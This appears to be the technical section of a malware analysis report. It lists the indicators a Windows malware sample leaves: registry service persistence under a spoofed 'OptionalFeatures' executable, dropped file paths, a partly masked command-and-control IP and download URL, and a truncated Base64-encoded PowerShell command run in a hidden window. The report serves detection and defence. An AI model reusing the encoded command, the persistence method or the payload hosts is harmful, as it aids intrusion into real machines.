Technical Information
- [<HKLM>\System\CurrentControlSet\Services\OptionalFeatures] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\OptionalFeatures] 'ImagePath' = '"%WINDIR%\SysWOW64\msscp\OptionalFeatures.exe"'
- 'OptionalFeatures' "%WINDIR%\SysWOW64\msscp\OptionalFeatures.exe"
- 'OptionalFeatures' %WINDIR%\SysWOW64\msscp\OptionalFeatures.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABMAG0AawB0AGoANwAxAD0AKAAnAE8AZgAnACsAKAAnAHoAJwArACcAYQB1AHkAcQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AJwArACcAaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUAbgB2ADoAdQBTAGUAUgBQAHIAbwBGAGkATA...
- %HOMEPATH%\k42fmj7\pa9p5kc\y7wnizp3.exe
- %WINDIR%\syswow64\msscp\optionalfeatures.exe
- from %HOMEPATH%\k42fmj7\pa9p5kc\y7wnizp3.exe to %WINDIR%\syswow64\msscp\optionalfeatures.exe
- '12.##3.208.58':80
- http://tu#####tiquehouse.com/wp-admin/L/
- http://12.##3.208.58/tcFOT4hbdgM4jVD4/cwDcqtGlysel3lanJq/P7JNJXmbQ8rgRIqtMBt/
- DNS ASK tu#####tiquehouse.com
- '%HOMEPATH%\k42fmj7\pa9p5kc\y7wnizp3.exe'
- '%WINDIR%\syswow64\msscp\optionalfeatures.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABMAG0AawB0AGoANwAxAD0AKAAnAE8AZgAnACsAKAAnAHoAJwArACcAYQB1AHkAcQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AJwArACcAaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUAbgB2ADoAdQBTAGUAUgBQAHIAbwBGAGkATA...' (with hidden window)